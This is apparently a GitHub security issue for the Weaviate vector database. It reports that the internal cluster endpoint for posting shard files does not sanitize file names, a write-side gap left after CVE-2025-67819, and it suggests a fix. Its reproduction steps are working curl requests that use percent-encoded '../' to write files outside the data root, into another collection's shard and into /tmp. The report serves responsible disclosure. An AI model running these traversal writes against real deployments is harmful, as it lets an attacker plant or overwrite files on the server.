Cluster filePutter does not sanitize file names (write-side gap after CVE-2025-67819)
How to reproduce this bug?
CVE-2025-67819 fixed path traversal on read (GetFile / sanitizeFilePath). The symmetric write path still does:
// adapters/repos/db/replication.go — Shard.filePutter
finalPath := filepath.Join(s.Index().Config.RootPath, filePath)
os.MkdirAll(path.Dir(finalPath), os.ModePerm)
os.Create(finalPath)The cluster HTTP handler passes the URL file segment straight through:
POST /indices/{class}/shards/{shard}/files/{name}
Content-Type: application/vnd.weaviate.indexfiles+octet-stream(adapters/handlers/rest/clusterapi/indices.go → postShardFile → FilePutter → IncomingFilePutter → filePutter.)
This is served on CLUSTER_DATA_BIND_PORT (default 7101), not the public REST port. The shard does not need to be halted. The endpoint is registered even when replica movement is disabled.
1. Start Weaviate
docker compose -f docker-compose-test.yml up -d weaviate2. Create a collection and load a shard
curl -sS -X POST http://localhost:8080/v1/schema \
-H 'Content-Type: application/json' \
-d '{"class":"Article","vectorizer":"none","properties":[{"name":"title","dataType":["text"]}]}'
curl -sS -X POST http://localhost:8080/v1/objects \
-H 'Content-Type: application/json' \
-d '{"class":"Article","properties":{"title":"probe"}}'
curl -sS http://localhost:8080/v1/schema/Article/shards
# pick the shard "name" from the response, e.g. SHARD_NAME=...3. Write outside the data root via the cluster files API
Use percent-encoded .. in the URL. A literal ../ in the path is canonicalized away by Go’s ServeMux (307 redirect) and does not reach the handler; %2e%2e does.
A. One directory above PERSISTENCE_DATA_PATH
SHARD_NAME=<from step 2>
curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/%2e%2e%2fweaviate-outside-data-root.txt" \
-H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
--data-binary 'written-via-filePutter'
# expect: 204On the default test compose (PERSISTENCE_DATA_PATH=./data, workdir /go/src/github.com/weaviate/weaviate):
docker compose -f docker-compose-test.yml exec weaviate \
cat ../weaviate-outside-data-root.txt
# written-via-filePutterB. Another collection’s shard directory
curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/otherclass%2fothershard%2finjected.txt" \
-H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
--data-binary 'cross-collection'
# expect: 204
docker compose -f docker-compose-test.yml exec weaviate \
cat data/otherclass/othershard/injected.txt
# cross-collectionC. /tmp on Linux (when the process can write there)
curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST "http://localhost:7101/indices/Article/shards/${SHARD_NAME}/files/%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftmp%2fweaviate-fileputter-probe" \
-H 'Content-Type: application/vnd.weaviate.indexfiles+octet-stream' \
--data-binary 'poc-from-filePutter'
# expect: 204
docker compose -f docker-compose-test.yml exec weaviate \
cat /tmp/weaviate-fileputter-probe
# poc-from-filePutterWhat is the expected behavior?
filePutter should apply the same containment rules as GetFile (Clean, reject absolute paths, EvalSymlinks, ensure the final path stays under the intended shard/data root)..
What is the actual behavior?
- 204 No Content on the cluster
POST …/files/{name}calls above. - Files are created at the joined path:
../weaviate-outside-data-root.txtnext to the data directorydata/otherclass/othershard/injected.txtunder another collection/tmp/weaviate-fileputter-probeon Linux when reachable
Verified on Linux with weaviate v1.39.5 (2e3e707).
Supporting information
- Related: CVE-2025-67819 / GHSA-hmmh-292h-3364 (read via
GetFileonly) - Suggested fix: sanitize
{name}inpostShardFileand/or reusesanitizeFilePathinfilePutterbeforeMkdirAll/Create
Server Version
v1.39.5 (2e3e707)
Weaviate Setup
Single Node
Nodes count
1
Code of Conduct
- I have read and agree to the Weaviate's Contributor Guide and Code of Conduct
Source: weaviate/weaviate